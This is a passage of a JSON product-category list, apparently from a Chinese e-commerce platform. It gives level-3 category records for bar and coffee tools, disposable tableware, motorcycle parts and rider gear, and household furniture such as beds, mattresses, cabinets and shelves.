f":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25424,"name":"调酒器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25432,"name":"家用酒壶","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25433,"name":"挤柠檬器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25401,"name":"酒杯","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25403,"name":"酒盒","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25402,"name":"酒架","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25435,"name":"酒具套件","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25404,"name":"酒签","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25400,"name":"酒塞","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25421,"name":"开罐器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25420,"name":"开瓶器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25399,"name":"漏斗","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25422,"name":"滤冰器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25423,"name":"滤酒器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25434,"name":"橡木酒具","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25425,"name":"醒酒器","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25479,"name":"打奶器","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25478,"name":"咖啡杯","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25476,"name":"咖啡壶","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25488,"name":"咖啡滤纸","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25475,"name":"咖啡勺","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25487,"name":"咖啡套具","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25480,"name":"磨豆机","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25465,"name":"奶罐","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25489,"name":"配套器具","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25466,"name":"糖缸","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25464,"name":"其它","parent_cid":20763,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25572,"name":"保鲜袋","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25571,"name":"保鲜膜","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25574,"name":"缠绕膜","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25573,"name":"封口膜","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25579,"name":"可降解餐具/环保餐具","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25568,"name":"塑杯","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25578,"name":"一次性餐盒","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25580,"name":"一次性餐桌用品套装","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25577,"name":"一次性筷子","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25575,"name":"一次性手套","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25576,"name":"一次性桌布","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25569,"name":"纸杯","parent_cid":20815,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25585,"name":"船舶配件","parent_cid":20827,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25584,"name":"船舶整船","parent_cid":20827,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25637,"name":"磁电机及组件","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25600,"name":"挡泥板","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25588,"name":"弹簧","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25608,"name":"点火器/点火装置","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25622,"name":"电瓶充电器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25591,"name":"活塞","parent_cid":20830,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25605,"name":"活塞环","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25594,"name":"链盘","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25593,"name":"链条","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25598,"name":"马达/起动电机","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25624,"name":"摩托车保险杠","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25616,"name":"摩托车车灯","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25615,"name":"摩托车车架","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25617,"name":"摩托车车锁","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25621,"name":"摩托车齿轮","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25630,"name":"摩托车导流罩","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25614,"name":"摩托车电瓶","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25628,"name":"摩托车发动机","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25636,"name":"摩托车防盗器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25629,"name":"摩托车后视镜","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25627,"name":"摩托车化油器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25634,"name":"摩托车火花塞","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25625,"name":"摩托车减震器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25623,"name":"摩托车喇叭/音响","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25613,"name":"摩托车拉线","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25635,"name":"摩托车离合器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25618,"name":"摩托车轮毂","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25619,"name":"摩托车轮胎","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25633,"name":"摩托车滤清器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25631,"name":"摩托车排气管","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25626,"name":"摩托车前挡风","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25611,"name":"摩托车尾箱","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25638,"name":"摩托车维修工具","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25612,"name":"摩托车尾翼","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25632,"name":"摩托车氙气灯","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25620,"name":"摩托车钥匙","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25609,"name":"摩托车仪表","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25610,"name":"摩托车坐垫","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25639,"name":"皮带及传动组件","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25607,"name":"启动杆/刹车拉杆","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25604,"name":"气缸盖","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25602,"name":"气缸体","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25603,"name":"气缸头","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25597,"name":"气门/气门组件","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25590,"name":"曲轴","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25606,"name":"刹车片/刹车系统","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25589,"name":"手把","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25599,"name":"手把套","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25595,"name":"摇臂/摆臂轴","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25596,"name":"油箱/油箱盖","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25601,"name":"整流器","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25592,"name":"轴承","parent_cid":20830,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25640,"name":"风镜","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25663,"name":"摩托车挡风被","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25660,"name":"摩托车导航/手机/对讲机支架","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25649,"name":"摩托车GPS定位","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25657,"name":"摩托车头盔","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25666,"name":"摩托车行车记录仪","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25658,"name":"摩托车雨衣","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25664,"name":"摩托车遮阳伞","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25648,"name":"骑士包","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25654,"name":"骑士护具","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25653,"name":"骑士手套","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25645,"name":"赛车服","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25646,"name":"赛车裤","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25642,"name":"赛车T恤","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25647,"name":"赛车鞋","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25652,"name":"头盔耳机","parent_cid":20833,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25650,"name":"保养工具","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25651,"name":"盖帽配饰","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25659,"name":"摩托车车衣/车罩","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25662,"name":"摩托车脚踏板","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25656,"name":"摩托车机油","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25661,"name":"摩托车牌照架","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25655,"name":"摩托车外壳","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25643,"name":"润滑剂","parent_cid":20832,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25641,"name":"贴纸/贴膜","parent_cid":20832,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26073,"name":"吧台","parent_cid":20923,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26074,"name":"条案","parent_cid":20923,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26075,"name":"玄关台","parent_cid":20923,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26076,"name":"其它案台","parent_cid":20923,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27380,"name":"餐厅成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27429,"name":"功能房成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27378,"name":"客厅成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27379,"name":"门厅成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27374,"name":"书房成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27377,"name":"卧室成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27376,"name":"其它成套家具","parent_cid":21227,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26740,"name":"3D床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26785,"name":"弹簧床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26784,"name":"复合床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26788,"name":"海绵床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26805,"name":"记忆棉床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26765,"name":"卷包/折叠床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26781,"name":"乳胶床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26770,"name":"水床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26787,"name":"椰棕床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26769,"name":"圆床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32168,"name":"智能床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26786,"name":"棕榈床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26783,"name":"其他床垫","parent_cid":21083,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26246,"name":"拔步床/架子床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26318,"name":"板木结合床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26192,"name":"板式床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26190,"name":"布艺床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26187,"name":"充气床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26153,"name":"床架/床板","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26191,"name":"床配件","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26194,"name":"罗汉床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26193,"name":"皮艺床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26189,"name":"实木床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26195,"name":"藤艺床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26165,"name":"铁艺/钢木床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26196,"name":"衣柜床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26245,"name":"折叠床/午休床","parent_cid":20936,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27375,"name":"儿童成套家具","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26186,"name":"儿童床","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26782,"name":"儿童床垫","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26793,"name":"儿童沙发","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26321,"name":"儿童学习桌","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26166,"name":"高低/子母床","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26188,"name":"婴儿床","parent_cid":34035,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26791,"name":"根雕茶几","parent_cid":21084,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26792,"name":"根雕茶桌","parent_cid":21084,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26789,"name":"根雕凳子","parent_cid":21084,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26790,"name":"根雕花架","parent_cid":21084,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26751,"name":"其他","parent_cid":21084,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26204,"name":"餐边柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26200,"name":"床头柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26201,"name":"电视柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26156,"name":"吊柜/壁柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26202,"name":"顶箱柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26121,"name":"斗柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26266,"name":"柜子配件","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26267,"name":"简易衣柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26124,"name":"角柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26125,"name":"酒柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26320,"name":"连体书桌柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26173,"name":"门厅/玄关柜/玄关架","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26203,"name":"飘窗柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26120,"name":"书柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26126,"name":"鞋柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26122,"name":"药柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26123,"name":"衣柜","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26265,"name":"其它柜类","parent_cid":20938,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26622,"name":"户外床","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26644,"name":"户外秋千","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26621,"name":"垃圾筒","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26645,"name":"木屋凉亭","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26592,"name":"伞具","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26583,"name":"桌","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26646,"name":"桌椅套件","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26593,"name":"坐具","parent_cid":21060,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26247,"name":"壁炉架/壁炉柜","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26093,"name":"CD架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26248,"name":"多宝格/博古架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26167,"name":"搁板/置物架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26116,"name":"格架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26117,"name":"画架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26319,"name":"家用雨伞架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26199,"name":"面盆架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26118,"name":"木制/板式酒架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26197,"name":"书报架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26115,"name":"书架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26119,"name":"鞋架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26198,"name":"衣帽架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26264,"name":"组合衣架","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26263,"name":"其他架类","parent_cid":20937,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26114,"name":"茶几","parent_cid":20935,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26152,"name":"角几/边几","parent_cid":20935,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26113,"name":"炕几","parent_cid":20935,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26112,"name":"套几","parent_cid":20935,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26262,"name":"其它几类","parent_cid":20935,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26774,"name":"穿衣镜","parent_cid":21086